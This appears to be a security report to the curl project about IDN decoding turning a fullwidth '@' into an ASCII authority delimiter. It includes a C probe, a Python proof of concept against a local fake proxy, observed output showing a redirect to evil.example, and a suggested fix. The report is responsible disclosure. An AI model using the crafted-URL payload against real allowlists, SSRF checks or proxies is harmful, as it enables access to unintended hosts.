curl · Report #4129950
IDN decoding inserts authority delimiters and can redirect proxy CONNECT to a different host
How it was found
IDN decoding can insert authority delimiters: CURLU_PUNYCODE output does not
round-trip and proxy requests carry an ambiguous authority
Summary
libcurl's IDN decoder accepts a hostname containing U+FF20 FULLWIDTH COMMERCIAL
AT (@). libidn2's TR46 transitional fallback converts it to ASCII @.
Curl_idn_decode() only checks that the result is non-empty, so the decoded
host can contain characters that the URL parser itself treats as authority
delimiters.
Consequences:
-
curl_url_get(..., CURLU_PUNYCODE)returns a URL that reparses to adifferent host and userinfo.
-
Through an HTTP proxy, curl sends the decoded host in the request target.
A proxy using generic URL/authority parsing sees a different host than the
URL's apparent host.
-
The non-tunneling proxy path fails with
CURLE_OUT_OF_MEMORYbecause thedecoded host cannot be stored with
CURLUPART_HOST.
This is an internal round-trip inconsistency in libcurl, not merely a
browser-versus-curl disagreement.
Tested versions
-
curl 8.23.0, built with libidn2 2.2.0
-
curl master
eb2b201a2(8.23.1-DEV), built with libidn2 2.2.0 -
System curl 7.68.0 with libidn2 2.2.0 also emitted the proxy request with
the decoded ASCII
@
Root cause
-
lib/idn.c:314Curl_idn_decode()only rejects an empty result atlib/idn.c:329. -
lib/peer.c:215stores the decoded host directly. -
lib/urlapi.c:1638concatenates the decoded host into the serialized URL. -
lib/http_proxy.c:213builds the CONNECT authority from the decoded host.
The URL parser already has an invalid_host_char table at
lib/urlapi.c:446 that rejects @, /, :, ?, #, [, ], and other
delimiters. The decoder does not apply that validation to its output.
Reproduction
The probes are in this directory:
idn_url_probe.cidn_proxy_poc.py
URL API round trip
Build audit/idn_url_probe.c against libcurl with libidn2 and run it.
The process must call setlocale(LC_ALL, "") so libidn2's locale-dependent
idn2_lookup_ul() sees UTF-8.
Observed on 8.23.0 and master:
set-url: 0 (No error)
host: 0 [trusted.example@evil.example]
punycode-host: 0 [[email protected]]
punycode-host-as-host: 21 (Bad hostname)
punycode-url: 0 [https://[email protected]/x]
reparse: 0 (No error)
reparsed-host: [evil.example]
reparsed-user: [trusted.example]
Proxy wire behavior
Run audit/idn_proxy_poc.py with an IDN-enabled curl binary.
Observed on 8.23.0 and master:
tunnel=True
request-line: CONNECT [email protected]:80 HTTP/1.1
Host: [email protected]:80
parsed-host: evil.example
parsed-user: trusted.example
Python's urllib.parse.urlsplit() interprets the absolute-form target as
host evil.example with username trusted.example, which is the standard
generic-authority interpretation.
Observed on curl 7.68.0, the non-tunneling request is:
GET http://[email protected]/x HTTP/1.1
Host: [email protected]
On 8.23.0 and master, the same non-tunneling request currently fails with
CURLE_OUT_OF_MEMORY before reaching the proxy.
Suggested fix
After IDN decoding, validate the result with the same hostname syntax rules
used by the URL parser, at minimum rejecting ASCII @, /, :, ?, #,
[, ], and \. Reject the conversion with CURLE_URL_MALFORMAT rather
than returning an invalid host.
Add regression tests that:
-
assert
curl_url_get(CURLUPART_URL, CURLU_PUNYCODE)reparses to the samescheme, host, port, and userinfo;
-
cover U+FF20, U+FF0F, U+FF1A, U+FF1B, U+FF1F, U+FF03, U+FF3B, U+FF3D,
and U+FF3C;
-
exercise both proxy CONNECT and non-tunneling absolute-form requests.
C PoC
File: idn_url_probe.c
#include <curl/curl.h>
#include <locale.h>
#include <stdio.h>
static void free_part(char **p)
{
if(*p) {
curl_free(*p);
*p = NULL;
}
}
int main(void)
{
/* U+FF20 FULLWIDTH COMMERCIAL AT, encoded as UTF-8. */
const char *input = "https://trusted.example\xef\xbc\xa0"
"evil.example/x";
CURLU *u = NULL;
CURLU *v = NULL;
CURLU *w = NULL;
char *host = NULL;
char *phost = NULL;
char *purl = NULL;
char *rhost = NULL;
char *ruser = NULL;
CURLUcode rc;
setlocale(LC_ALL, "");
curl_global_init(CURL_GLOBAL_DEFAULT);
u = curl_url();
v = curl_url();
w = curl_url();
if(!u || !v || !w)
return 2;
rc = curl_url_set(u, CURLUPART_URL, input, 0);
printf("set-url: %d (%s)\n", (int)rc, curl_url_strerror(rc));
if(rc)
goto out;
rc = curl_url_get(u, CURLUPART_HOST, &host, 0);
printf("host: %d [%s]\n", (int)rc, host ? host : "(null)");
rc = curl_url_get(u, CURLUPART_HOST, &phost, CURLU_PUNYCODE);
printf("punycode-host: %d [%s]\n", (int)rc, phost ? phost : "(null)");
if(phost) {
rc = curl_url_set(w, CURLUPART_HOST, phost, 0);
printf("punycode-host-as-host: %d (%s)\n",
(int)rc, curl_url_strerror(rc));
}
rc = curl_url_get(u, CURLUPART_URL, &purl, CURLU_PUNYCODE);
printf("punycode-url: %d [%s]\n", (int)rc, purl ? purl : "(null)");
if(purl) {
rc = curl_url_set(v, CURLUPART_URL, purl, 0);
printf("reparse: %d (%s)\n", (int)rc, curl_url_strerror(rc));
if(!rc) {
curl_url_get(v, CURLUPART_HOST, &rhost, 0);
curl_url_get(v, CURLUPART_USER, &ruser, 0);
printf("reparsed-host: [%s]\n", rhost ? rhost : "(null)");
printf("reparsed-user: [%s]\n", ruser ? ruser : "(null)");
}
}
out:
free_part(&host);
free_part(&phost);
free_part(&purl);
free_part(&rhost);
free_part(&ruser);
curl_url_cleanup(v);
curl_url_cleanup(w);
curl_url_cleanup(u);
curl_global_cleanup();
return 0;
}
Python PoC
File: idn_proxy_poc.py
#!/usr/bin/env python3
import socket
import subprocess
import sys
import threading
import time
from urllib.parse import urlsplit
def run_one(curl, tunnel):
result = {}
def proxy():
listener = socket.socket()
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind(("127.0.0.1", 0))
listener.listen(1)
listener.settimeout(5)
result["port"] = listener.getsockname()[1]
try:
conn, _ = listener.accept()
conn.settimeout(3)
data = b""
while b"\r\n\r\n" not in data:
chunk = conn.recv(4096)
if not chunk:
break
data += chunk
result["request"] = data
conn.close()
except Exception as exc:
result["error"] = repr(exc)
listener.close()
thread = threading.Thread(target=proxy)
thread.daemon = True
thread.start()
while "port" not in result and "error" not in result:
time.sleep(0.01)
url = "http://trusted.example\uff20evil.example/x"
cmd = [curl, "-sS", "-m", "2", "-x",
"http://127.0.0.1:%d" % result["port"]]
if tunnel:
cmd.append("--proxytunnel")
cmd.append(url)
proc = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
thread.join(timeout=2)
request = result.get("request", b"")
first = request.split(b"\r\n")[0].decode("utf-8", "replace")
print("tunnel=%s rc=%d" % (tunnel, proc.returncode))
print("request-line: %s" % first)
if tunnel and first.startswith("CONNECT "):
parsed = urlsplit("//" + first.split(" ", 2)[1])
elif not tunnel and first.startswith("GET "):
parsed = urlsplit(first.split(" ", 2)[1])
else:
parsed = None
if parsed:
print("parsed-host: %s" % parsed.hostname)
print("parsed-user: %s" % parsed.username)
print()
def main():
curl = sys.argv[1] if len(sys.argv) > 1 else "./build-asan/src/curl"
print("curl=%s\n" % curl)
run_one(curl, True)
run_one(curl, False)
if __name__ == "__main__":
main()
Reproduction commands
Build the C probe against an IDN-enabled libcurl build, then run:
./audit/idn_url_probe_master
ASAN_OPTIONS=detect_leaks=0 python3 audit/idn_proxy_poc.py ./curl-master-as/src/curl
Observed URL API result:
host: trusted.example@evil.example
punycode-host: [email protected]
punycode-host-as-host: 21 (Bad hostname)
punycode-url: https://[email protected]/x
reparsed-host: evil.example
reparsed-user: trusted.example
Observed proxy request:
CONNECT [email protected]:8080 HTTP/1.1
Host: [email protected]:8080
tinyproxy 1.10 extract_url() calls strip_username_password(), which removes everything through the first @, so tinyproxy connects to 127.0.0.1:8080.
Impact
Impact
-
A host allowlist, redirect filter, URL cache, or SSRF check using
CURLU_PUNYCODEas the canonical form can be bypassed because the outputreparses to a different origin.
-
In proxy environments, a proxy that accepts userinfo in an absolute-form
request or CONNECT authority can be induced to connect to the attacker's
host while the user-visible URL appears to start with
trusted.example. -
The non-tunneling path returns
CURLE_OUT_OF_MEMORY, which is arequest-level availability failure.
The impact requires an application that accepts the URL and a proxy that
parses the resulting authority permissively. That dependency is why this
should be rated Medium rather than High.
The application cannot reasonably reject the dangerous input by inspecting
the raw hostname: curl_url_set() accepts it, and the ASCII @ only appears
after libcurl's own IDN conversion. The breakage is in libcurl's normalized
output, not in a separate browser parser.
Why this is not a duplicate of older IDN advisories
-
CVE-2016-8625 covered IDNA 2003 versus IDNA 2008 selecting a different
valid hostname.
-
CVE-2022-42916 covered an HSTS bypass using IDN characters that map to an
ASCII dot.
-
This report covers the decoder producing authority delimiters that make
libcurl's own
CURLU_PUNYCODEoutput non-round-trippable and make proxyrequests ambiguous. The older HSTS-specific check does not cover this path.
The precedent for accepting this class is CVE-2022-42916, which was rated
Medium for an IDN character mapping to an ASCII authority separator. This
report has the same class of normalization mismatch plus a direct proxy
request impact.